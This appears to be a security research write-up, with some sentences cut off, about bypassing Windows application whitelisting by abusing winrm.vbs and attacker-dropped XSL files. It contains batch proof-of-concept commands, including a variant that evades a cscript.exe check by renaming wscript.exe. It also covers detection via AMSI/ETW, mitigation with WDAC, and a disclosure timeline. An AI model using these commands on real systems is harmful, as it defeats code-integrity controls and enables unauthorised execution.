Application Whitelisting Bypass and Arbitrary Unsigned Code Execution Technique in winrm.vbs

Bypass Technique Proof of Concept

The weaponization workflow is as follows:

1. Drop a malicious WsmPty.xsl or WsmTxt.xsl to an attacker-controlled location.
2. Copy cscript.exe (or wscript.exe using a trick described later) to the same location.
3. Execute winrm.vbs with the "-format" switch specifying "pretty" or "text"

code.

Upon dropping WsmPty.xsl, the following batch file can be used to launch the payload:

```
mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo
%windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -
format:pretty
```

Detection and Evasion Strategies

In order to build robust detections for this technique, it is important to identify the minimum set of components required to perform the technique.

> *An attacker-controlled WsmPty.xsl or WsmTxt.xsl must be dropped.*

winrm.vbs hardcodes WsmPty.xsl and WsmTxt.xsl and explicitly binds them to the “pretty” and “text” arguments. There appears to be no way to direct winrm.vbs to consume a different XSL file from a directory other than the

> *The "format" parameter must be specified with arguments of "pretty" or "text" in order to consume XSL files.*

The following case insensitive argument variations of the "format" parameter are permitted:

```
-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
```

even from another script host binary (like wscript.exe), they could. Here is an update .bat PoC that bypasses the “cscript.exe” check.

```
mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo
%windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -
format:pretty
```

Mitigation and Prevention Strategies

This technique can be prevented by enabling Windows Defender Application Control (WDAC) with User Mode Code Integrity (UMCI) enforced. Vulnerable versions of the script would need to be blocked by hash as there is no other robust method of blocking vulnerable signed scripts. Identifying all vulnerable versions of a script is difficult, if not impossible, however, as it is unlikely that a defender would capture all hashes of all vulnerable versions of winrm.vbs across all possible Windows builds. This blog post goes into more detail about the ineffectiveness of script blacklisting.

This is not the first and it certainly won't be the last time XSL and WSH will be abused by attackers. Ideally, attackers should have insight into what payloads execute whether they execute from disk or entirely in memory. PowerShell has this ability out of the box with scriptblock logging. There is no such equivalent for WSH content, however. With the introduction of the Antimalware Scan Interface (AMSI) though, it is possible to capture WSH contents if you're comfortable working with ETW.

AMSI optics are exposed via the `Microsoft-Antimalware-Scan-Interface` ETW provider. If you want to experiment capturing AMSI events, one of the best

dump the ETW manifest to XML. The manifest also gives you great insight into the events that can be collected via the provider.

to demonstrate parsing out AMSI events. Take note of the bug in how WSH fails to supply the “contentname” property resulting in the need to manually parse the event data. The script will also capture PowerShell content.

Example showing the AMSI ETW provider capturing attack context from the PoC XSL payload referenced earlier

Getting ETW-based optics and detections to scale is out of scope for this post but hopefully, this example can serve to motivate you to investigate it

- May 24, 2018 — Email sent to MSRC requesting an update
- May 28, 2018 — Response stating that an evaluation is still in progress
- June 10, 2018 — Email sent to MSRC requesting an update
- June 11, 2018 — Response from MSRC stating the product team targets a fix for August
- July 12, 2018 — Response from MSRC stating that the issue cannot be addressed via a security update and that it may be addressed in v.Next